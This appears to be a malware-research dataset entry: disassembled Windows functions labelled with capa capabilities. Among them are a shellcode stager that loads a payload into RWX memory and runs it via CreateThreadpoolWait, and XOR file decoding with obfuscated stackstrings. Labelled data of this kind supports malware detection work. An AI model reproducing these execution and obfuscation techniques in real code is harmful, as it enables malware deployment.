joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401860
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.004079b0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.004079b0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x4018d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x004260c4]
mov r12, rcx
test ebx, ebx
jle 0x401a00
mov rax, qword [0x004260c8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x40191c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x4019a3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x401900
mov rcx, r12
call fcn.00402280
mov rsi, rax
test rax, rax
je 0x401a22
mov rax, qword [0x004260c8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.004023b0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x004260c8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401a07
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x40199c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x4019b0
add dword [0x004260c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x004260c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40199c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00401860
nop dword [rax]
xor ebx, ebx
jmp 0x401927
mov rax, qword [0x004260c8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.00401860
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.00401860
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x401ef0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00426120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00426100]
test rbx, rbx
je 0x401f44
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x401f3b
test r12, r12
je 0x401f3b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x401f20
lea rcx, [0x00426120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x402280
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x004238e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x4022a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x4022a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x4022a0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x4022f5
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x4022ec
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4022a0
add rax, 0x28
cmp rax, r9
jne 0x4022d8
xor eax, eax
ret

Function at 0x402300
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x004238e0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x402320
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x402328
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x402320
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x4023b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x004238e0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x4023d0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x4023d8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x408130
Capabilities:
Allocate or change rwx memory
Execute shellcode via createthreadpoolwait
Execute shellcode via indirect call

Disassembly:
push r12
sub rsp, 0x30
call fcn.00401640
lea rcx, str._shellcode.bin
call fcn.00407be0
test eax, eax
jne 0x408183
mov ecx, 2
call qword [fcn.004079b0]
mov rcx, rax
lea rax, str.main
mov qword [rsp + 0x20], rax
mov r9d, 0x73
lea r8, str.._stager.c
lea rdx, str._s:_d:_s__:__nDownloadImplant
call fcn.004080b0
or eax, 0xffffffff
jmp 0x4081f2
xor r9d, r9d
mov r8d, 1
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x199ff
xor ecx, ecx
mov r12, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, rax
mov r8d, 0x199ff
lea rdx, [0x00409100]
call sub.msvcrt.dll_memmove
mov rcx, rax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
mov rcx, rax
xor r8d, r8d
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
or edx, 0xffffffff
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
add rsp, 0x30
pop r12
ret
Function at 0x1404f3108
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1404f328f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1404f3139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1404f311f
add dl, dl
jne 0x1404f3146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1404f31a6
xor eax, eax
add dl, dl
jne 0x1404f3155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1404f325d
add dl, dl
jne 0x1404f3166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1404f3173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1404f3180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1404f318d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1404f319a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1404f312e
mov eax, 1
add dl, dl
jne 0x1404f31b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1404f31c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1404f31ab
sub eax, ebx
mov ebx, 1
jne 0x1404f31fc
mov ecx, 1
add dl, dl
jne 0x1404f31de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1404f31eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1404f31d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1404f312e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1404f3218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1404f3225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1404f320d
cmp eax, 0x7d00
jae 0x1404f324b
cmp eax, 0x500
jb 0x1404f3246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1404f312e
cmp eax, 0x7f
ja 0x1404f324e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1404f312e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1404f3282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1404f312e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001188
Capabilities:
Reference http user-agent string

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x14024daa8]
xor rax, rsp
mov qword [rsp + 0x48], rax
lea r8, [rcx + 0x20]
mov rbx, rcx
cmp qword [r8 + 0x18], 0x10
jb 0x1400011ae
mov r8, qword [r8]
mov rcx, qword [rcx + 8]
mov edx, 0x2712
call fcn.140166440
lea rdx, str.Mozilla_5.0__Windows_NT_6.1__WOW64__rv:13.0__Gecko_20100101_Firefox_13.0.1
lea rcx, [rsp + 0x20]
call fcn.1400013f0
cmp qword [rsp + 0x38], 0x10
mov rcx, qword [rbx + 8]
lea r8, [rsp + 0x20]
mov edx, 0x2722
cmovae r8, qword [rsp + 0x20]
call fcn.140166440
mov rcx, qword [rbx + 8]
mov edx, 0x44
lea r8d, [rdx - 0x3f]
call fcn.140166440
mov rcx, qword [rbx + 8]
mov edx, reloc.WS2_32.dll_gethostbyname
lea r8d, [rdx - 0x33]
call fcn.140166440
mov rcx, qword [rbx + 8]
mov edx, 0x63
lea r8d, [rdx - 0x62]
call fcn.140166440
mov rcx, qword [rbx + 8]
xor r8d, r8d
lea edx, [r8 + 0x2f]
call fcn.140166440
mov rcx, qword [rbx + 8]
lea r8, [0x140001364]
mov edx, 0x4e2b
call fcn.140166440
mov rcx, qword [rbx + 8]
mov r8, rbx
mov edx, 0x2711
call fcn.140166440
mov rcx, qword [rbx + 8]
xor r8d, r8d
lea edx, [r8 + 0x40]
call fcn.140166440
mov rcx, qword [rbx + 8]
xor r8d, r8d
lea edx, [r8 + 0x51]
call fcn.140166440
cmp qword [rsp + 0x38], 0x10
jb 0x14000128a
mov rcx, qword [rsp + 0x20]
call fcn.14000ac00
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14014b3f0
add rsp, 0x50
pop rbx
ret

Function at 0x140001a38
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0x30
mov r8, qword [rcx]
mov rbx, rcx
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], 2
and qword [rsp + 0x20], 0
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [rbx]
sub rdx, 0x18
cmp eax, 0x20
jae 0x140001a8b
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x140001a87
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
xor al, al
jmp 0x140001aa4
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x140001aa2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov al, 1
add rsp, 0x30
pop rbx
ret
Function at 0x140001b70
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x2b0]
sub rsp, 0x3b0
mov rax, qword [0x14024daa8]
xor rax, rsp
mov qword [rbp + 0x2a0], rax
mov rdi, rcx
call fcn.140013cbc
test rdi, rdi
jne 0x140001bac
xor ecx, ecx
jmp 0x140001bb0
mov rcx, qword [rdi + 0x40]
bts eax, 8
mov edx, 0xfffffff0
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
lea rdx, [rbp + 0x190]
mov r8d, 0x104
mov rcx, rdi
call fcn.140014090
mov rcx, qword [rdi + 0x40]
xor r9d, r9d
lea edx, [r9 + 0x31]
xor r8d, r8d
call qword [sym.imp.USER32.dll_SendMessageA]
mov rcx, rax
call fcn.140015b98
lea r8, [rsp + 0x40]
mov edx, reloc.WLDAP32.dll_Ordinal_60
mov rcx, qword [rax + 8]
call qword [sym.imp.GDI32.dll_GetObjectA]
lea rcx, [rsp + 0x40]
mov byte [rsp + 0x55], 0
lea rbx, [rdi + 0xf0]
call qword [sym.imp.GDI32.dll_CreateFontIndirectA]
mov rcx, rbx
mov rdx, rax
call fcn.140015bbc
test rbx, rbx
jne 0x140001c33
xor r8d, r8d
jmp 0x140001c37
mov r8, qword [rbx + 8]
mov rcx, qword [rdi + 0x40]
mov edx, gethostbyname
lea r9d, [rdx - 0x2f]
call qword [sym.imp.USER32.dll_SendMessageA]
lea rcx, [rbp - 0x80]
mov edx, 0x208
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rdx, str.Winhlp32.exe
lea rcx, [rbp - 0x80]
call fcn.14014c200
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140001c90
mov edx, 0x6a
mov rcx, rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov qword [rdi + 0xe0], rax
mov r9, qword [rdi + 0xe0]
mov rcx, qword [rdi + 0x40]
mov edx, 0x172
mov r8d, 2
call qword [sym.imp.USER32.dll_SendMessageA]
test rbx, rbx
je 0x140001cba
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rdi
call fcn.140091410
mov r9, qword [rdi + 0xe0]
mov rcx, qword [rdi + 0x40]
mov edx, 0x172
mov r8d, 2
call qword [sym.imp.USER32.dll_SendMessageA]
mov rax, qword [rdi + 0x100]
lea rcx, [rdi + 0x100]
mov r8d, 1
mov rdx, rdi
call qword [rax + 0x2c0]
mov rcx, qword [rdi + 0x40]
and dword [rsp + 0x30], 0
and dword [rsp + 0x34], 0
and dword [rsp + 0x38], 0
and dword [rsp + 0x3c], 0
lea rdx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetClientRect]
lea r9, [rsp + 0x30]
lea r8, [0x14020ee58]
lea rcx, [rdi + 0x100]
mov rdx, rdi
mov qword [rsp + 0x20], 0x3e9
call fcn.140018b20
lea rcx, [rdi + 0x100]
xor edx, edx
call fcn.140013e6c
mov rcx, qword [rbp + 0x2a0]
xor rcx, rsp
call fcn.14014b3f0
lea r11, [rsp + 0x3b0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140004344
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov r10d, r8d
mov r11, rdx
mov r9d, ecx
test rdx, rdx
jne 0x140004363
xor eax, eax
jmp 0x140004474
not r9d
lea rsi, [0x1402103e0]
cmp r10d, 8
jb 0x14000444a
mov rbx, r10
shr rbx, 3
movzx ecx, byte [r11]
mov eax, r9d
shr r9d, 8
xor rcx, rax
add r11, 8
add r10d, 0xfffffff8
movzx eax, cl
movzx ecx, byte [r11 - 7]
mov edx, dword [rsi + rax*4]
xor edx, r9d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 6]
mov r8d, dword [rsi + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 5]
mov edx, dword [rsi + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 4]
mov r8d, dword [rsi + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 3]
mov edx, dword [rsi + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 2]
mov r8d, dword [rsi + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 1]
mov edx, dword [rsi + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
mov r9d, dword [rsi + rax*4]
xor r9d, edx
dec rbx
jne 0x14000437e
test r10d, r10d
je 0x14000446e
movzx ecx, byte [r11]
mov eax, r9d
inc r11
xor rcx, rax
shr eax, 8
movzx edx, cl
mov r9d, dword [rsi + rdx*4]
xor r9d, eax
dec r10d
jne 0x14000444f
not r9d
mov eax, r9d
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
ret

Function at 0x140004480
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov r9d, dword [rcx]
movsx rax, dl
mov r10, rcx
mov r8d, r9d
shr r9d, 8
xor r8, rax
movzx eax, r8b
lea r8, [0x1402103e0]
mov edx, dword [r8 + rax*4]
xor edx, r9d
mov dword [rcx], edx
movzx eax, dl
mov edx, dword [rcx + 8]
add eax, dword [rcx + 4]
imul eax, eax, 0x8088405
inc eax
mov dword [rcx + 4], eax
movzx eax, byte [r10 + 7]
movzx ecx, dl
xor rcx, rax
shr edx, 8
mov eax, dword [r8 + rcx*4]
xor eax, edx
mov dword [r10 + 8], eax
ret

Function at 0x140004d4c
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x30
mov rsi, r8
mov rdi, r9
mov rbp, rdx
mov r10, rcx
imul esi, edx
cmp byte [r9], 0
je 0x140004d9c
and qword [rax - 0x18], 0
mov rdx, rcx
mov rcx, qword [rdi + 8]
lea r9, [rax + 0x10]
mov r8d, esi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140004d96
mov byte [rdi + 0x10], 1
mov eax, dword [rsp + 0x48]
jmp 0x140004dc3
mov edx, dword [r9 + 0x2c]
mov ecx, dword [r9 + 0x28]
lea eax, [rdx + rsi]
cmp eax, ecx
jbe 0x140004daf
sub ecx, edx
mov esi, ecx
add rdx, qword [r9 + 0x20]
mov r8d, esi
mov rcx, r10
call fcn.14014b5b0
add dword [rdi + 0x2c], esi
mov eax, esi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x58]
xor edx, edx
div rbp
mov rbp, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x140005c84
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
cmp qword [rcx], 0
mov rbx, rcx
jne 0x140005d0d
cmp dword [rcx + 8], 0xffffffff
jne 0x140005d0d
lea rdx, [rcx + 0x150]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea rcx, [rbx + 0x150]
call fcn.14014b900
mov dl, byte [rax + rbx + 0x14f]
cmp dl, 0x5c
je 0x140005cdf
cmp dl, 0x2f
je 0x140005cdf
lea rdx, [0x140210a30]
lea rcx, [rbx + 0x150]
call fcn.14014c200
lea rcx, [rsp + 0x30]
call fcn.140004b80
test rax, rax
jne 0x140005cf4
mov eax, dword [rsp + 0x30]
jmp 0x140005d12
mov rcx, rax
call fcn.140005064
mov qword [rbx], rax
neg rax
sbb eax, eax
not eax
and eax, 0x200
jmp 0x140005d12
mov eax, 0x1000000
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140006254
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x250
mov rax, qword [0x14024daa8]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rdi, rdx
mov rbx, rcx
test rcx, rcx
je 0x140006299
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140006299
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov al, byte [rdi]
test al, al
je 0x140006331
mov rsi, rdi
mov rcx, rdi
cmp al, 0x2f
je 0x1400062b1
cmp al, 0x5c
jne 0x1400062b4
mov rsi, rcx
inc rcx
mov al, byte [rcx]
test al, al
jne 0x1400062a9
cmp rsi, rdi
je 0x1400062f0
sub rsi, rdi
lea rcx, [rsp + 0x130]
mov rdx, rdi
mov r8, rsi
call fcn.14014b5b0
lea rdx, [rsp + 0x130]
mov rcx, rbx
mov byte [rsp + rsi + 0x130], 0
call fcn.140006254
mov byte [rsp + 0x20], 0
test rbx, rbx
je 0x140006307
lea rcx, [rsp + 0x20]
mov rdx, rbx
call fcn.14014c2a0
lea rcx, [rsp + 0x20]
mov rdx, rdi
call fcn.14014c200
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140006331
lea rcx, [rsp + 0x20]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14014b3f0
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x14000762c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CDialog.virtual_712
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rcx + 0xe0], rdx
test rdx, 0xffffffffffff0000
jne 0x14001a727
cmp dword [rcx + 0xd8], 0
jne 0x14001a727
movzx eax, dx
mov dword [rcx + 0xd8], eax
call fcn.14001b390
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.14001a68c
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14000775c
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1d8
mov rax, qword [0x14024daa8]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
xor r8d, r8d
lea edx, [r8 + 1]
lea ecx, [rdx + 1]
call qword [sym.imp.WS2_32.dll_socket]
cmp rax, 0xffffffffffffffff
jne 0x1400077b8
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x276d
jne 0x1400077b4
lea rdx, [rsp + 0x20]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [0x14025b278], 1
jmp 0x1400077c1
xor eax, eax
jmp 0x1400077c6
mov rcx, rax
call qword [sym.imp.WS2_32.dll_closesocket]
mov eax, 1
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.14014b3f0
add rsp, 0x1d8
ret

Function at 0x140007e18
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x14024daa8]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rsi, rcx
call fcn.140006718
xor edi, edi
mov rbx, rax
test rax, rax
jne 0x140007e52
xor eax, eax
jmp 0x140007ec7
mov rdx, rsi
mov rcx, rax
call fcn.140006798
mov rcx, rbx
test eax, eax
je 0x140007e6b
call fcn.1400067c8
jmp 0x140007e4e
lea r8, [rsp + 0x20]
or edx, 0xffffffff
call fcn.140006720
test eax, eax
je 0x140007e81
mov rcx, rbx
jmp 0x140007e64
mov esi, dword [rsp + 0x20]
test esi, esi
jle 0x140007ead
lea r8, [rsp + 0x20]
mov edx, edi
mov rcx, rbx
call fcn.140006720
lea r8, [rsp + 0x24]
mov edx, edi
mov rcx, rbx
call fcn.140006790
inc edi
cmp edi, esi
jl 0x140007e89
mov rcx, rbx
call fcn.1400067c8
lea rcx, str.C:UsersPublichgh.dat
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14014b3f0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140007f0c
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rbp, rcx
xor esi, esi
call fcn.140007eec
mov rcx, rbp
call fcn.14014b900
lea rdx, [0x140210f5c]
lea rcx, str.C:UsersPublicykt.dat
mov r12, rax
call fcn.14014bbc0
lea rdx, [0x14020ea3c]
lea rcx, str.C:UsersPublichgh.dat
mov rbx, rax
call fcn.14014bbc0
mov rcx, rbx
mov rdi, rax
call fcn.14014cb3c
test eax, eax
jne 0x140007fc6
lea r13d, [rsi + 1]
lea rcx, [rsp + 0x48]
mov r9, rbx
mov r8, r13
mov rdx, r13
call fcn.14014ce6c
mov rcx, rbx
call fcn.14014cb3c
test eax, eax
jne 0x140007fba
mov eax, esi
mov r9, rdi
mov r8, r13
cdq
idiv r12d
movsxd rax, edx
mov rdx, r13
mov cl, byte [rax + rbp]
xor byte [rsp + 0x48], cl
lea rcx, [rsp + 0x48]
call fcn.14014bd58
add esi, r13d
mov rcx, rbx
call fcn.14014cb3c
test eax, eax
je 0x140007f75
mov rcx, rbx
call fcn.14014ba80
mov rcx, rdi
call fcn.14014ba80
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x140007ff0
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x78]
sub rsp, 0x170
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
mov rax, qword [0x14024daa8]
xor rax, rsp
mov qword [rbp + 0x68], rax
mov rdi, rcx
mov dword [rbp + 0x18], 0x43314376
mov dword [rbp + 0x1c], 0x5a317337
mov dword [rbp + 0x20], 0x79475058
mov dword [rbp + 0x24], 0x67464462
mov dword [rbp + 0x28], 0x72365a45
mov dword [rbp + 0x2c], 0x35763551
mov dword [rbp + 0x30], 0x4d42484a
mov dword [rbp + 0x34], 0x6e7a626a
mov byte [rbp + 0x38], 0
mov dword [rbp + 0x40], 0x555c3a43
mov dword [rbp + 0x44], 0x73726573
mov dword [rbp + 0x48], 0x6275505c
mov dword [rbp + 0x4c], 0x5c63696c
mov dword [rbp + 0x50], 0x5a6e6957
mov dword [rbp + 0x54], 0x795c7069
mov dword [rbp + 0x58], 0x65676170
mov dword [rbp + 0x5c], 0x78652e72
mov word [rbp + 0x60], 0x65
mov dword [rbp], 0x555c3a43
mov dword [rbp + 4], 0x73726573
mov dword [rbp + 8], 0x6275505c
mov dword [rbp + 0xc], 0x5c63696c
mov byte [rbp + 0x10], 0
lea rcx, str.angclassic_zh_cn
call fcn.14014b900
mov rbx, rax
lea rcx, str.tg:__setlanguage_l
call fcn.14014b900
lea rcx, [rbx + rax + 1]
call fcn.14000abf8
mov rbx, rax
lea rdx, str.tg:__setlanguage_l
mov rcx, rax
call fcn.14014c2a0
lea rdx, str.angclassic_zh_cn
mov rcx, rbx
call fcn.14014c200
mov dword [rsp + 0x28], 1
and qword [rsp + 0x20], 0
lea r9, [0x14020ee58]
mov r8, rbx
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rbp - 0x70]
call fcn.14000104c
nop
lea rdx, str.C:UsersPublicykt.dat
lea rcx, [rsp + 0x60]
call fcn.1400013f0
nop
